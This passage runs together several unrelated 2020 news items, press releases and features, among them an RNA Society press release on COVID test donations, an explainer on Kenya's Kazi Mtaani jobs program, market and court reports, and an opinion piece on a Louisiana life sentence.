pandemic demonstrates how associations drive collaboration and innovation. The Society connected its members with their local health departments so they could donate both much-needed equipment and world-class scientific expertise. The RNA Society is dedicated to fostering research and education in the field of ribonucleic acid science. Many members work in well-stocked academic laboratories, and during the onset of the coronavirus pandemic in the United States when it was clear that the need for widespread testing was not being met, one member of the RNA Society executive committee, Dr. Olivia Rissland, PhD (Assistant Professor, University of Colorado School of Medicine) arranged donations of testing equipment and personal protective equipment (PPE) to the local health department. Based on this success, she and other leaders of the RNA Society teamed up to expand these efforts and mobilize donations from Society membership, which is made up of more than 2,000 RNA scientists across the world. RNA Society CEO Dr. Kristian Baker (Associate Professor, Case Western Reserve University) explained, RNA Society members were perfectly positioned to provide scientific expertise, reagents and laboratory space to expand diagnostic testing for COVID-19and our call to action was met with unfettered enthusiasm and outstanding generosity. MCI USA staff supporting the RNA Society noticed these initiatives and then worked to scale up the donation program by leveraging existing relationships with partners, such as the American Health Quality Association (AHQA), to identify the best way to connect RNA scientists around the country with state and local public health departments in need of testing and materials. Through this process MCI USA staff connected with National Association of City and County Health Officers (NACCHO), which served as the primary connection hub between scientists and health departments. By making these connections with high-level health department representatives and other healthcare organizations, we were able to coordinate arrangements with local and state health departments in charge of doing testing in all 50 states in less than a week, commented Alison Teitelbaum, MS, MPH, CAE, Vice President, Association Solutions, MCI USA. Thanks to this coordinated initiative, hundreds of RNA scientists donated equipment that allowed thousands of coronavirus tests to be administered, donated PPE that protected thousands of front-line medical providers, and contributed countless hours of research to the national effort to better understand the virus. ABOUT MCI MCI is the global leader in engaging and activating audiences. Our business is founded on a simple human insight: When people come together, magic happens. Since 1987, we have been bringing people together through inspiring meetings, events, congresses and association or community management. MCI helps organizations harness the power of community by applying our strategic engagement and activation solutions to build unforgettable online and offline experiences that foster change, inspire, educate and enhance business performance. MCI is an independently owned company headquartered in Geneva, Switzerland, and boasts a global presence with 2,500+ professionals in 61 offices and 31 countries, who work with clients across Europe, the Americas, Asia-Pacific, India, and the Middle East. Visit us at http://www.mci-group.com or on LinkedIn, Twitter, Facebook. ABOUT MCI USA MCI USA helps companies and associations strategically engage and activate their target audiences, building community and boosting client performance through face-to-face, hybrid and digital experiences that support client business objectives. With US headquarters in the Washington, DC area and offices in New York, Miami, Baltimore, Dallas, and Chicago, MCI USA is rapidly expanding its platform to deliver a robust set of services in its Association and Corporate Solutions portfolios. Find out more at http://www.mci-group.com/usa. ABOUT THE RNA SOCIETY The RNA Society is a non-profit international scientific society with more than 2,000 members dedicated to fostering research and education in the field of RNA science. The RNA Society hosts a peer-reviewed scientific journal, RNA, and an annual scientific conference, along with sponsoring other RNA-related scientific conferences through direct financial support and student travel grants. For more information about the RNA Society and its programing, or to become a member, please visit http://www.rnasociety.org and check out its Twitter account (@RNASociety). The National Hygiene program (NHP) dubbed the Kazi Mtaani initiative has been in the country for a while now. Since its commencement, several youths from informal settlement areas have significantly benefited from the program. If you would like to be part of the hygiene program, you need to understand how to apply. Image: pixabay.com Source: UGC The initiative is an economic lifeline for the unemployed youth in Kenya. Phase two has gathered momentum in various parts of the country, with youths dashing to be a part of the program that has proven to be of great worth. It is a growth catalyst for the youth and ultimately has far-reaching positive effects on the economy while averting unemployment's detrimental effects. The Kazi Mtaani application procedure and salary It takes the right application procedure for you to land your desired job. When most Kenyans are struggling to make ends meet, many people see the Kazi Mtaani program as an opportunity to take advantage of. First things first, what is the Kazi Mtaani initiative, and what is its role? What is Kazi Mtaani Kenya? Kazi Mtaani initiative is a hygiene program established by Kenya's government to improve community health levels as a prevention and control measure for the COVID-19 pandemic. The program also aims to create employment for Kenyan youths whose livelihood sources have been greatly affected by the pandemic. Image: facebook.com, @Theblackboardkenya Source: UGC So far, the initiative has been implemented in two phases. In the first phase, the project was rolled out in eight counties, including Mombasa, Nairobi, Nakuru, Kisumu, Kwale, Kiambu, Kilifi, and Mandera. The program focused on the informal settlement areas within these counties that were hit hard by the first instances of COVID-19 and the subsequent cessation of movement policy initiated to contain the virus's spread. The containment strategies affected economic activity, making it difficult for those reliant on daily work to meet their basic needs. READ ALSO: Uhuru warns against nepotism in Kazi Mtaani program: "Recruit people in need, not relatives" The first cohort of Kazi Mtaani Nairobi saw about 12,000 youths from Mathare, Mukuru, Kibera, and Korogocho benefit from the program. The total number of beneficiaries from the counties mentioned above was 26,000. The second phase saw an inter-ministerial team develop a grassroots plan that saw 270,000 youths accommodated. The government set aside 10 billion Kenya Shillings for this program to be implemented in all counties. Additionally, the youth will now be engaged in more community and infrastructural development projects. Kazi Mtaani projects, duties and responsibilities The initiative aims to undertake six major projects to be run across the country. With the key underlying elements being daily work for wages, labor-intensive approaches, utilization of existing and redirected funds, equal opportunities, and impact of informal settlement dwellers' livelihood, the following are the projects in focus. Construction of public and social facilities Construction and upgrading of Non-Motorized Transport (NMT) Upgrading and small maintenance works for public offices Solid waste management Greening and urban agriculture projects Kazi Mtaani initiative application The Kazi Mtaani recruitment process is open to youths within targeted informal settlement areas. The recruitment committee comprises of; Informal settlement leadership Nyumba Kumi leaders Youth leaders National Government Administration Officers (NGAO) READ ALSO: Gov't to pay jobless Nairobi youths KSh 616 per day for keeping slums clean What are the requirements for the Kazi Mtaani application? For workers to be eligible, they have to be Kenyan citizens of between ages 18 to 35 years, and provide the following registration documents; A valid national identification card KCPE or KCSE certificate - an added advantage Signed indemnity form providing details of phone number for payment Signed attestation that you are not benefiting from National Government cash transfers programs How to apply Kazi Mtaani jobs The Kazi Mtaani application procedure is simple and straightforward. Interested parties must present their applications to the assistant chiefs of the areas in which they reside. Image: facebook.com, @pulselivekenya Source: UGC If the applications are ongoing, interested parties will be issued with Kazi Mtaani application form, in which you will be required to fill the following details; Name Identity card number Telephone number Address Cluster name and village Kazi Mtaani Kenya salary What is the Kazi Mtaani initiative salary? The government program has undoubtedly attracted numerous youths in Kenya, and it goes, therefore, without saying that the Kazi Mtaani payment package could be attractive. In its first phase, the enlisted workers were paid a daily wage of Kenyan shillings 653.10 for Nairobi, Kisumu, and Mombasa. In contrast, those from the other municipalities were paid Kenyan shillings 600.00. However, the Kazi Mtaani salary was lowered slightly in phase two to increase the recruitment bracket to 270,000. Each enlisted worker receives payment of shillings of 455.00 per day. The Kazi Mtaani initiative continues to empower youths in all parts of the country. Since its launch, it has attracted the interest of numerous young people. The initiative provides employment opportunities for these energetic youths and keeps them away from criminal activities. Tuko.co.ke reported on Thursday that Governor Alfred Mutua advised the government to focus on development projects in their Kazi Mtaani initiative. According to the Governor, it was inappropriate for the government to spend the program's money on recurrent expenditure. The Governor faulted the initiative saying that it only encouraged the circulation of money without any foreseeable end products. He encouraged the government to engage the youths in development projects rather than cleaning and sweeping activities that are recurrent. READ ALSO: Kazi Mtaani: Uhuru's employment initiative runs into a headwind as youths protest over missing cash Raila Odinga says Kazi Mtaani jobs will equip youths with skills to market themselves in future Source: TUKO.co.ke No stranger to launching a successful business, Marisa Logan is a talented businesswoman who's done it all. After studying Public Relations at Cape Peninsula University of Technology, Logan started her career at the tender age of 20. In 2010, full of ambition, she relocated to London to continue working in PR representing global brands such as Universal Pictures, Colgate, Samsung and Ferrero Roche. Marisa Logan, founder of Stream Can you tell us a bit about Stream? Stream is dedicated to marketing people and brands and showcasing their power which lead to the extension of my brand offering which is teaching SMEs and solo entrepreneurs how to accelerate their brand awareness through my online courses and one-on-one client consultations. What sparked the idea? When and how did you get started? What is the core purpose of Stream? What are some of the obstacles you've had to overcome since starting out? This isn't the first time you took a leap of faith in starting a business. What advice would you give to other aspiring entrepreneurs? What has been your proudest achievement thus far? I am proud that I trusted my gut and started Stream. What does the future of entrepreneurship look like to you? If you could pinpoint one ingredient to success. What would it be? My key ingredient that I will always revisit when starting a new business is to find your purpose, identify how you can be of service to others and launch a brand that matters. What would you like to see changed in the South African startup landscape? You're a successful female entrepreneur. What do you believe are the traits an entrepreneur needs in order to succeed? Thats a tricky question, as I believe there are a lot of traits that are beneficial in succeeding, but my top three would be the ability to trust your intuition, see opportunities at all times and never stop networking. Where would you like to see Stream in the next year or so? I would also love to have more courses and toolkits on offer to help further empower solo entrepreneurs and SMEs, not only in South Africa but on a global scale. Following two years abroad, Logan moved back to Cape Town and started her first business Butter Knife PR. Seven years later, she sold her shares of the award-winning agency and moved to Gauteng. This is where she started Stream - from her bedroom, kitchen, living room and even from her stoep - all during the coronavirus lockdown.This #WomensMonth , Marisa Logan shares her successful journey.I launched Stream during lockdown, creating a platform where different streams of consciousness come together, sharing stories of how people have navigated through struggles to reach success.Ever since starting my career in PR in 2009 I knew I wasnt going to stay in the industry forever and that I wanted a deeper sense of purpose. So after selling my shares at the agency where I was director and co-founder for seven years, in February 2020, I decided to launch Stream.I created Stream to inspire and empower, leveraging my 13 years of local and international experience in PR, social media and digital marketing to help brands be seen and people be heard through Stream Stories and Stream Services.The biggest challenge has been upskilling in order to launch a new business whilst adapting to the impact of Covid and rapidly building a brand across multiple social media channels in addition to curating weekly content in video, photograph and podcast format. All of this on top of working one-on-one with entrepreneurs teaching them how to implement brand awareness strategies via weekly video call sessions.A lot right!? Well, its been thrilling, nerve-racking and super stimulating to say the least.I know times are incredibly tough for so many, but if you can see the silver lining, adapt, learn and grow, you truly can succeed. Its hard to consistently stay positive, so my biggest advice would be to choose your surroundings wisely. Stay in regular contact with friends/family/contacts who are entrepreneurs that inspire you and set healthy boundaries so that your mind can stay sane and productive.Gosh, I have been so hard on myself for the past four months chasing one goal after the next, that I havent quite reflected and allowed the progress to sink in.I am proud that I launched a website , a podcast channel , a YouTube channel, a Facebook page, a LinkedIn page and an Instagram page creating a loyal community that are so supportive, engaging and complimentary.Every day I get a direct message from someone I dont know thanking me for inspiring or empowering them and that makes all the hard work and uncertainty so worth it.Just like 2020, I cant give you an accurate prediction...but this is my third business and I am currently working on a fourth which will launch this coming Summer. This is very much just the beginning so keep following Stream and lets see what happens next.I have been very impressed with the small businesses and entrepreneurs that have come together to support one another and stand stronger together through all the turmoil that this year has brought. This is something that I would love to see more of and hope that it continues.Firstly, thank you so much for the kind words and recognition!In addition to sharing a lot more stories of struggles and success, growing the Stream community and inspiring more people. NEW YORK (Reuters) - Oil rose on Monday, supported by an improvement in Chinese factory data, rising energy demand and hopes for an agreement in the United States on more coronavirus-related economic stimulus. Brent crude LCOc1 rose 82 cents, or 1.9%, to $45.22 a barrel by 12:58 EDT (1658 GMT). West Texas Intermediate (WTI) U.S. crude CLc1 was up $1.02 cents, or 2.5%, to $42.24 a barrel. Prices found support after U.S. President Donald Trump said House Speaker Nancy Pelosi and Senator Chuck Schumer, top Democrat in that chamber of congress, wanted to meet with him to make a deal on coronavirus-related economic relief. The talks between Democrats and members of Republican Trumps administration broke down last week. The oil complex is heavily reliant on that aid. We need people to be able to boost economic activity to spur demand, said John Kilduff, partner at Again Capital in New York. On Sunday, Saudi Arabian Aramco (2222.SE) CEO Amin Nasser he sees oil demand rebounding in Asia as economies gradually open up. Chinas factory deflation eased in July, driven by a rise in global oil prices and as industrial activity climbed toward pre-pandemic levels. With oil demand still slowly grinding higher, and oil supply in check due to the OPEC+ production cut deal and prices too low to incentivise strong production growth in the United States, the oil market remains undersupplied, UBS analyst Giovanni Staunovo said. Iraq said on Friday it would cut its oil output by a further 400,000 barrels per day in August and September to compensate for its overproduction in the past three months. The move would help it comply with its share of cuts by the Organization of the Petroleum Exporting Countries and allies, known as OPEC+. This would send out a strong signal to the oil market on various levels. That said, this would also require the international companies operating in Iraq to join in with the cuts, Commerzbank analyst Eugen Weinberg said. The jury considering the capital murder charge against Aaron Brady will return to the Central Criminal Court tomorrow. The five men and seven women have spent 17 hours and 38 minutes deliberating since last Thursday. Yesterday they returned a verdict of guilty in relation to a charge of robbery against Mr Brady (29), of New Road, Crossmaglen, Co Armagh. Mr Brady had denied the charge of robbery of 7,000 at Lordship Credit Union, Bellurgan, Co Louth on January 25, 2013. The jury is now considering their verdict in relation to a charge of the capital murder of Detective Garda Adrian Donohoe during the course of that robbery. Mr Brady has pleaded not guilty to the capital murder charge. During evidence that began last January the jury has heard that at least five people were involved in the robbery including the getaway driver and four people who jumped over the credit union wall and stole e7,000 from one of the credit union volunteers. Det Gda Donohoe died when one of the raiders shot him with a single round from a shotgun. It is looking increasingly likely that Democrats will flip four Republican-held state Senate seats in Western New York. Democrats have big advantages in fundraising, voter registration and now endorsements, as some of the biggest unions get behind their candidates. The Civil Service Employees Association Local 1000, which represents state and local employees, has announced its endorsements for all the Democratic candidates looking to replace outgoing Republican state Sens. Rich Funke, Joseph Robach, Chris Jacobs and Michael Ranzenhofer. All four senators had received the unions backing in the past. The New York State AFL-CIO is also backing the Democratic candidates after previously supporting GOP incumbents in these districts. Folks are realizing who theyre going to need from Albany especially next year when were thinking about how to continue dealing with the pandemic and how to rebuild, Samra Brouk, who is running to replace Funke in a Rochester-based seat. The other Democratic candidates gaining union backing are Jeremy Cooney, Sean Ryan and Jacqualine Berger. The support of organized labor, which has historically split its support at the state level between the two parties, adds a jolt of energy to Democrats efforts to flip the two seats they need to get a two-thirds supermajority in the 63-member state Senate. Such a development would tilt the balance of power away from Gov. Andrew Cuomo and toward the veto-proof state Legislature, with big implications for how the state deals with the economic damage of the pandemic. The state faces a $14 billion deficit in the current fiscal year, which is expected to grow to $16 billion in the next fiscal year. With the talks about a new round of federal stimulus spending stalling in Congress, political power at the state level could take on an outsized importance moving forward. Both state Senate Minority Leader Robert Ortt and state Republican Party Chair Nick Langworthy have expressed concerns about the implications of losing the four state Senate seats in Western New York as well as an open seat in the Syracuse area vacated by former state Sen. Robert Antonacci, who is now a state Supreme Court justice. Voters in Western New York have watched downstate Democrats advance a New York City-focused agenda at the detriment of families communities throughout upstate, Ortt said. Its unfortunate that some labor organizations have embraced upstate candidates that will carry water for New York City progressives. Union members in these districts know that our candidates will fight for jobs, safe communities and much-needed investments in upstate infrastructure and education. Upstate New York is the one remaining bastion of power for the GOP in the state Legislature following big Democratic gains on Long Island and in the Hudson Valley in 2018. Losing Western New York to the Democrats would also cost Republicans what little leverage they have in the upcoming round of legislative redistricting, which could relegate the GOP to a decade of being in the minority in the state Legislature. For ordinary New Yorkers who are not obsessed with the ups and downs of the states political scene, the union endorsements are the latest sign that the state is moving further to the political left. With supermajorities in both chambers of the state Legislature, Democrats might be able to raise taxes on the wealthy and enact other progressive policies like single-payer health care over Cuomos opposition. Whether such policies will solve the economic problems that await the state remains to be seen, but as things stand now, it is looking more and more likely that Democratic lawmakers are going to get the chance to try in January 2021. BANGALORE, India, Aug. 11, 2020 /PRNewswire/ -- Growing information about synthetic fertilizers' adverse effects is one of the primary reasons driving the Organic Fertilizer Market size. Synthetic fertilizers are generated mainly from chemicals and non-renewable sources that harm the environment, such as polluting soil and affects the soil quality. The global Organic Fertilizer market size is projected to reach USD 13.8 Billion by 2026, from USD 6.9 Billion in 2019, at a CAGR of 10.4% during 2021-2026. This study focuses on the volume and value of Organic Fertilizers at the global, regional, and corporate levels. From a global perspective, this study reflects the overall size of the Organic Fertilizer industry by evaluating historical data and predictions for the future. This study focuses on many main regions in the region: North America, Europe, Japan, China, Southeast Asia, India, and so on. Get Free Sample Report: https://reports.valuates.com/request/sample/QYRE-Auto-25G2940/Global_Organic_Fertilizer TRENDS INFLUENCING THE ORGANIC FERTILIZER MARKET SIZE It is expected that increased implementation of environmental policies to minimize the use of non-biodegradable goods would, in turn, fuel the growth of organic fertilizer market size during the forecast period. The growing trend of using liquid organic fertilizers is expected to accelerate market growth over the forecast period, as they are less labor-intensive and are also easy to use. Changing farming practices, increasing investment in R&D and growing concern about food security due to rising populations are expected to boost the organic fertilizer market size. Changing farmers' and consumers' attitudes towards eco-friendly goods is also expected to increase the organic fertilizer market. Furthermore, the agriculture sector, coupled with growing penetration of multiple players trying to capture the market and rising investment by current players in expanding established industry sectors, is also expected to increase the Organic Fertilizer Market over the projected timespan. Lack of awareness about the benefits of organic fertilizer hinders business development. Farmers continue to use synthetic fertilizers across developing and underdeveloped areas, as they are cheap and readily available on the market. Thus, it is expected that the lack of understanding of the benefits would hamper the growth of Organic Fertilizer Market size. View Full Report: https://reports.valuates.com/market-reports/QYRE-Auto-25G2940/global-organic-fertilizer ORGANIC FERTILIZER MARKET SHARE In 2016, the largest revenue contributor was the animal-based supply for organic fertilizer. The animal-based organic fertilizers act as an optimal supply of nitrogen content and offer other essential nutrients provided by the crops. Additionally, these fertilizers increase the soil's ability to retain water. Based on the region, the Asia Pacific is projected to witness the highest CAGR during the forecast period. This rapid growth of the region is attributed to the increase in per capita income and the growing demand for organic food. North America and Europe are projected to lead the global organic fertilizer market. The demand is projected to expand robustly in North America and Europe due to favorable climatic conditions and ample land for farming. Furthermore, strict government policies and regulations are further expected to drive Europe's organic fertilizer market size. TOP COMPANIES IN THE ORGANIC FERTILIZER MARKET The growing market for organic food goods is expected to generate a desperate need for large-scale production of organic fertilizers, which, in effect, would provide a vast array of opportunities for stakeholders. Sensing the rising demand for organic fertilizers, industry goliaths have changed their attention to expanding their organic fertilizer supply to capitalize on raising unmet customer demand. Bio Nature Technology PTE Fertikal Multiplex Group Uniflor Italpollina CropAgro Walt's Organic Fertilizer Biostar Organics California Organic Fertilizers Kribhco National Fertilizers Biofosfatos do Brasil Scotts Miracle-Gro Midwestern Bioag Sustane Natural Fertilizer Perfect Blend Uniflor Krishak Bharati Coromandel Tata Chemicals Nature Safe Agrocare Canada ORGANIC FERTILIZER MARKET SEGMENTATION By Type Plant Animal Mineral. By Application Cereals & Grains Oilseeds & Pulses Fruits & Vegetables. Buy Now for Single User: https://reports.valuates.com/api/directpaytoken?rcode=QYRE-Auto-25G2940&lic=single-user Buy Now for Enterprise User: https://reports.valuates.com/api/directpaytoken?rcode=QYRE-Auto-25G2940&lic=enterprise-user SIMILAR REPORTS Plant Sourced Organic Fertilizer Market Report This study focuses on the amount and value of plant-sourced organic fertilizers at the national, regional, and business levels. From a global viewpoint, this study reflects the total market size of Plant-Based Organic Fertilizer by examining historical evidence and expectations for the future. This study focuses on many main regions in the region: North America, Europe, Japan, China, Southeast Asia, India, and so on. View Full Report: https://reports.valuates.com/market-reports/QYRE-Auto-16R3075/global-plant-sourced-organic-fertilizer Liquid Organic Fertilizer Market Report Liquid fertilizers provide higher uniformity than granular fertilizers, offering more clear coating to the crops so that all plants receive the same nutrients regardless of the place. This advantage is expected to increase the Liquid Organic Fertilizer Market size. This study focuses on the liquid organic fertilizer volume and value at the national, regional, and business levels. From a global viewpoint, this study reflects the total market size of Liquid Organic Fertilizer by evaluating historical evidence and forecasts for the future. This study focuses on many main regions in the region: North America, Europe, Japan, China, Southeast Asia, India, and so on. View Full Report: https://reports.valuates.com/market-reports/QYRE-Othe-2W331/liquid-organic-fertilizer Biological Organic Fertilizer Market Report The enhanced organic farming activity is one of the main reasons behind the growth of Biological Organic Fertilizers Market size. Furthermore, the emphasis on sustainable farming and funding from the government is also expected to augment the market growth. View Full Report: https://reports.valuates.com/market-reports/QYRE-Auto-6H1664/global-biological-organic-fertilizer Europe Organic Fertilizer Market Report Europe Organic Fertilizer Market was valued at USD 2,451 Million in 2016, and is projected to reach USD 3,260 Million by 2023, registering a CAGR of 4.2% from 2017 to 2023. Government funding, coupled with an increased understanding of the use of organic fertilizers, is driving Europe's organic fertilizer market. Additionally, the introduction of tight restrictions on synthetic fertilizers is fuelling the Organic Fertilizer demand. View Full Report: https://reports.valuates.com/market-reports/ALLI-Auto-2G2/-europe-organic-fertilizer Humic Acid Organic Fertilizer Market Report View Full Report: https://reports.valuates.com/market-reports/QYRE-Auto-6C1839/global-humic-acid-organic-fertilizer ABOUT US: Valuates offers in-depth market insights into various industries. Our extensive report repository is constantly updated to meet your changing industry analysis needs. Our team of market analysts can help you select the best report covering your industry. We understand your niche region-specific requirements and that's why we offer customization of reports. With our customization in place, you can request for any particular information from a report that meets your market analysis needs. To achieve a consistent view of the market, data is gathered from various primary and secondary sources, at each step, data triangulation methodologies are applied to reduce deviance and find a consistent view of the market. Each sample we share contains a detailed research methodology employed to generate the report. Please also reach our sales team to get the complete list of our data source. CONTACT US: Valuates Reports [email protected] For U.S. Toll-Free Call 1-(315)-215-3225 For IST Call +91-8040957137 WhatsApp : +91-9945648335 Website: https://reports.valuates.com Twitter - https://twitter.com/valuatesreports Linkedin - https://in.linkedin.com/company/valuatesreports Facebook - https://www.facebook.com/valuatesreports SOURCE Valuates Reports The told the Supreme Court on Tuesday that political clout has not allowed Mumbai Police to even register an FIR in the Sushant Singh Rajput's suicide case, even as the Maharashtra government maintained Bihar completely lacks jurisdiction in the matter. Both the state governments were at loggerheads before the apex court, which reserved its verdict on actress Rhea Chakraborty's plea seeking transfer to Mumbai of the FIR lodged in Patna against her for allegedly abetting the suicide of the 34-year-old actor. While Chakraborty's counsel told a bench of Justice Hrishikesh Roy that probe by Mumbai Police has proceeded quite substantially as it has recorded statements of 56 persons in the case, the lawyer representing Rajput's father, who lodged the FIR in Patna, countered the submissions said they have no faith in Maharashtra Police. Raising questions over the alleged suicide, senior advocate Vikas Singh, appearing for Rajput's father Krishna Kishore Singh, said that mark on the actor's neck does not appear to be from hanging and it appears to be of a belt. Solicitor General Tushar Mehta, appearing for the Centre, said that the only FIR lodged in the case was in Bihar and the Enforcement Directorate (ED) has also started its separate probe in the matter. During the three-hour long arguments conducted through video-conferencing, senior counsel Shyam Divan, appearing for Chakraborty, said that FIR registered by Rajput's father has absolutely no connection with any offence in Patna and there was considerable delay of around 38 days in its lodging. There appears to be considerable amount of state interference and influence and therefore there is an apprehension of bias, Divan said, while urging the top court to allow Chakraborty's transfer petition. Referring to media reports, Divan, while claiming political bias in the case, said that FIR was lodged at the instance of Bihar Chief Minister Nitish Kumar and Bihar's minister Sanjay Jha. Senior advocate Maninder Singh, appearing for Bihar, countered Divan's submissions and said that there is no political pressure in Bihar and the FIR lodged there was the only FIR lodged in connection with the case. There was complete refusal in registering FIR in Mumbai. May be there was political pressure in Maharashtra. There is no political pressure in Bihar, Maninder Singh said, adding there was non-cooperation from Mumbai Police and even the postmortem report was not given to Bihar Police. While arguing that the FIR lodged at Patna is legal and valid, he also raised the issue of quarantining of a senior Patna Police officer in Mumbai. He said allegations have been made based on media reports against the Bihar Chief Minister but there were reports also about alleged role of Maharashtra Chief Minister's son. Senior advocate Abhishek Manu Singhvi, appearing for Maharashtra, told the bench that Bihar has no jurisdiction in the case and no complaint was made to the Mumbai Police till date by Sushant's father in the matter. Singhvi said he has never seen such sensationalisation being attached to a transfer petition and that the media has made it abnormal. Questioning the Bihar government's jurisdiction in recommending CBI probe, Singhvi said, The only thing they could have transferred to the Mumbai Police is a Zero FIR. They (Bihar) have transferred something on which they had no jurisdiction. You may have steaming anchors and steaming headlines...but sensationalism cannot change the law, Singhvi said and referred to the federal structure. He said that every reporter, anchor, lawyer and others have become jury, judge and executioner and law is the biggest casualty in this. Singhvi also said that murder of the CrPC is being attempted here. Counsel for Rajput's father said he only wanted proper investigation in the case and according to him Mumbai Police was not investigating in the right direction. He said the family of Rajput has not seen the body hanging and what they had seen was his body lying on the bed. The Solicitor General argued that no FIR has been lodged in Mumbai and unless an FIR is lodged under section 154 of CrPC and the concerned magistrate intimated, there cannot be any investigation. While reserving the verdict, the bench asked the parties concerned to file their written submissions of not more than two pages each by August 13. Chakraborty's counsel told the bench that a huge parallel media trial is going on in the case. The bench told Divan that in Chakraborty's petition, there is a request related to the CBI investigation. It is another aspect how the CBI will come in, it said. Divan said he wanted a fair probe by a fair investigating agency. He said there are considerable issues on how Bihar had recommended a CBI probe and how subsequent orders were issued. "I (Rhea) stand by what I have stated in my petition and my additional affidavit, he said. Rajput, 34, was found hanging from the ceiling of his apartment in suburban Bandra in Mumbai on June 14 and since then Mumbai Police has been probing the case keeping in mind various angles. The FIR in Patna has been registered against Chakraborty and others for alleged offences under various sections of the Indian Penal Code, including 306 (abetment of suicide), 341 (punishment for wrongful restraint), 342 (punishment for wrongful confinement), 380 (theft in dwelling house), 406 (punishment for criminal breach of trust) and 420 (Cheating and dishonestly inducing delivery of property). (Only the headline and picture of this report may have been reworked by the Business Standard staff; the rest of the content is auto-generated from a syndicated feed.) Fair Wayne Bryant, now 60 years old, has spent the last 23 years at Angola State Penitentiary in Louisiana on one count of attempted simple burglary. This penitentiary is one of the largest, and most notoriously brutal, state institutions in the US. The Louisiana Supreme Court building in New Orleans (Nolanwebb/Wikipedia) In 2018, Bryants attorney Peggy Sullivan appealed his sentence before the Second Circuit Court of Louisiana, stating that her client contends that his life sentence is unconstitutionally harsh and excessive. The state appellate court, after a hearing held in November 2019, maintained that the sentence was in accordance with the habitual offender law and no longer subject to review. That decision was then appealed to the seven-member Louisiana Supreme Court. On August 5, with one dissenting vote, the other 6 Supreme Court justices declined to review the appeal upholding the decision of the State Appellate court that Bryant remain in jail for the rest of his life. Bryants crime was attempting to steal a pair of hedge clippers. Although Louisianas State Supreme Court refused to hear the case, Bryant will have one more chance at possible parole. An earlier ruling by the lower appeals court in 2018 stated that Bryant had been illegally denied parole eligibility. Bryant filed an appeal on July 21 and the Louisiana Committee on Parole will decide whether or not to hold a hearing. Even then, the final decision would be made by the board. Upon reading about this case, one is reminded of Victor Hugos classic novel Les Miserables, which tells the story of Jean Valjean, a French peasant sentenced to 19 years in jail for having stolen a loaf of bread. But as Bryant was sentenced not to 19 years but to life in prison, here America compares unfavorably even to Hugos depiction of France under the Bourbon Restoration, when the French monarchy was re-established after the defeat of Napoleon. This grueling and horrific experience for one count of alleged petty theft demonstrates the true face of justice in capitalist America. One finds one set of rules for the poor and oppressed and another set of rules for those who control the wealth and run the political and state institutions, including the police and courts and their representatives in the Democratic and Republican parties. Less than two weeks before Bryant lost his appeal, the grotesquely misnamed SAFE TO WORK Act was introduced into Congress, which provide companies with legal immunity if their workers become seriously ill or die from the coronavirus after becoming infected at work. Louisiana has the highest incarceration rate in the United States. According to a recent report from the ACLU, 1 out of every 86 residents in the state is in prison. A disproportionate number of inmates are black or another minority. The states prisoners suffer brutal treatment. The Angola Three, Herman Wallace, Albert Woodfox and Robert Hillary King, each spent 40 years in solitary confinement at Angola, the longest ever such period in prison history. In her dissenting statement, Chief Justice Bernette Johnson wrote: The sentence imposed is excessive and disproportionate to the offense the defendant committed. Mr. Bryant was sentenced, as a habitual offender, to life in prison for unsuccessfully attempting to make off with somebody elses hedge clippers. Johnson noted. In her dissent, she went on to review the conditions that this prisoner and thousands of others face in a state suffering from one of the highest poverty rates in the country. Mr. Bryants sentence is sanctioned under the habitual offender law because of his four prior convictions. His first conviction was attempted armed robbery in 1979, for which he was sentenced to 10 years at hard labor. He has had no more violent convictions. He was subsequently convicted of possession of stolen things in 1987; attempted forgery of a check worth $150 in 1989; and simple burglary of an inhabited dwelling on 19 March 1992. Each of these crimes was an effort to steal something. Such petty theft is frequently driven by the ravages of poverty or addiction, and often both. The Bryant case is the product of decades of bipartisan law-and-order campaigns. It was Democratic presidential nominee Joe Biden who authored and promoted the tough on crime legislation passed 25 years ago, which was signed into law by then President Bill Clinton. This law was the one of the key factors in the explosion of mass incarceration beginning in the period of the 1990s. The bill led to longer prison sentences, a growth of the number of prison cells and a more aggressive policy of policing. Approximately 1,000 people are killed each year by US police. Laws enacted in the state of Louisiana followed those of the federal government, including the habitual offender statute, which condemned thousands of young people to life imprisonment for minor offenses at one of the harshest prison facilities in the US. In addition, large numbers of the countrys prison population are innocent. To date over 375 people have been exonerated through the Innocence Project based on DNA evidence and legal appeals. On April 29, 2016, political prisoner Gary Tyler was freed at the age of 57 years old after spending his entire adult life at Angola for a crime he never committed. He was framed up at the age of 16 for the shooting death of Timothy Weber, a 13-year-old white student. The killing occurred in a racially charged atmosphere whipped up by elements such as David Duke, then emerging as a leading figure in the Louisiana and national Ku Klux Klan. The Workers League (forerunner of the Socialist Equality Party) played a major role in campaigning for Gary Tylers freedom and carried out a determined national and international struggle to mobilize the working class in his defense. Gov. Greg Abbott said Tuesday that the summer influx of coronavirus cases has continued a gradual decline, though testing and new infections do not meet benchmarks set by public health experts as schools begin reopening across much of the state. Speaking during a visit to Jefferson County, the Republican governor acknowledged that areas along the Gulf Coast are still experiencing excessive hospitalization rates from the pandemic, and said the trends will have to improve considerably before statewide restrictions on bars and other businesses are lifted. While COVID-19 infections and hospitalizations have fallen in recent weeks from peaks in June and July, the state is still reporting much higher totals than it did early in the pandemic. And daily testing has dropped by nearly half since late July, likely contributing to a recent spike in the rate of Texans testing positive for the virus; on Monday it jumped to just below 21 percent, a record high. We have to remain vigilant to slow the spread of COVID-19, Abbott said. TEXAS TAKE: Get political headlines from across the state sent directly to your inbox Some local officials have reported a drop in demand for testing. Tests were restricted amid the surge to those with symptoms, but now are available again to asymptomatic people. Barry Bloom, a professor at Harvard Universitys public health school, attributed the falling demand to a collective fatigue that has set in after months of navigating the pandemic. What we have seen is a degree at every level of COVID fatigue that I dont think anybody in the medical business had anticipated, Bloom said. He added, Without enormously coherent leadership at the state, real PR and incentives for people particularly for checking on school kids as we go back to school I think its going to be hard everywhere to persuade people to keep getting tested. The federal government has yet to put together a national testing strategy, and President Donald Trump has said the country is being unfairly compared to others where testing is less accessible. Health officials have disputed that claim, and it is widely agreed that more testing is needed to identify outbreaks early on. Several do-it-yourself tests have yet to be approved by the Food and Drug Administration, but Abbott said other types of rapid turnaround tests are becoming more available in Texas. Many of those are going to nursing homes, among the environments where the virus has been most deadly. The governor, who is closely aligned with President Donald Trump, has not outlined a testing strategy for schools. He reiterated Tuesday that the state is providing all the protective equipment teachers and campus employees need, and that local school and health officials can best determine how to react to any outbreaks on campus. British and French officials will come up with a joint plan to halt migrants from crossing the English Channel to reach the United Kingdom, Boris Johnson's immigration minister said after talks in Paris. "We will take action now to make this route inviable, and that's a commitment that the French government share," Chris Philp told Sky News after meeting his French counterpart on Tuesday. He declined to comment on 